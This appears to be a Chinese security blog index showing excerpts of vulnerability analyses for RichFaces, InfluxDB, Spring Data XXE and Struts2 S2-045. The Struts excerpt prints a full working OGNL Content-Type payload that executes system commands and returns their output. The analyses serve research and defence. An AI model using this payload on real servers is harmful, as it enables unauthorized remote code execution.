漏洞信息根据 Jboss 官方 CVE-2018-14667 描述：The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression Language (EL) injection via the UserResource resource. A remote, unauthenticated attacker could exploit this to execute arbitrary code using a chain of java serialized objects via org.ajax4jsf.resource.UserResource$UriData.影响 RichFaces 框架 3.x — 3.3.4 版本，漏洞原因是由 org.ajax4jsf.resource.UserResource$UriData 反序列化引入 EL ...
更多 →0x00: 简介 InfluxDB 是一个使用Go语言编写的开源分布式，支持高并发的时序数据库。在 InfluxDB 中，每条数据都可以粗略看成是虚拟 key=value 的形式，如语句INSERT cpu,host=serverA,region=us_west value=0.64表示往数据库中插入一条指标名为 cup, 标签集 host为 serverA, region 为 us_west 的, 值是 0.64 的数据。具体的数据概念和含义可以参考 InfluxDB 官方文档。InfluxDB 提供三种操作方式：CLIHTTP (包括API 接口和Web 管理界面)各语言的API库但实际上以上操作方式其实都是在调用 InfluxDB 实现的 API 接口，API 接口的两个常用操作是 query（查询数据）和 write（更改数据）。0x01: 产生原因InfluxDB 的Web 操作界面默认运行在 localhost 8083 端口; HTTP API 接口默认运行在 localhost 8086 端口如果直接将只能本机访问到的 localhost 改为内网或者公网IP，没有配置访问控制的口令，便可能会产生未授权访问漏洞。0x02: 漏洞发现扫描默认的 8083 ...
更多 →0x00: 漏洞信息 根据 CVE-2018-1259 的信息可知， Spring Data Commons 版本在 1.13—1.13.11 和 2.0—2.0.6 ，Spring Data REST 版本在 2.6-2.6.11 和 3.0-3.0.6，因为使用了小于等于 1.4.14 版本的 XMLBeam 导致存在XML实体注入漏洞。 0x01: 环境搭建 由于 XXE 漏洞实际是存在于 XMLBeam 中，所以我们写一个简单的调用 XMLBeam 的代码，用来触发漏洞，版本就选择可以触发漏洞的最新版 XMLBeam ，所以首先下载 1.4.14版本 XMLBeam 备用。 然后使用 IDEA 创建一个 名为 demo 的 Spring Boot 应用，主要是添加一个 "/login" RequestMapping URL映射路径，模拟使用XML数据认证进行登录。 主要代码文件 ...
更多 →0x00：环境准备 通过 Apache Struts2 Release 页面可知：受struts2-045(CVE-2017-5638)漏洞影响的最新struts版本为 Struts 2.5.10， 在官方 archive 页面下载Struts 2.5.10 showcase(app)版本，用Tomcat 7本地部署应用进行debug。 0x01：调试准备 补丁移除了 apache/struts2/interceptor/FileUploadInterceptor.java 文件中 LocalizedTextUtil.findText() 函数对错误信息的处理部分： 漏洞信息： 1.漏洞发生在 Jakarta 上传解析器 2.受影响struts版本是Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 3.通过Content-Type这个header头，进而执行命令，通过 Strus2 对错误消息的处理进行回显 POC (Windows 弹计算器)： ${(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; 0x02：正式调试 根据上面的信息，用IDEA 在 struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class 第584行下第一个断点： 然后如下图所示，用Burpsuite在 HTTP Content-Type ...
更多 →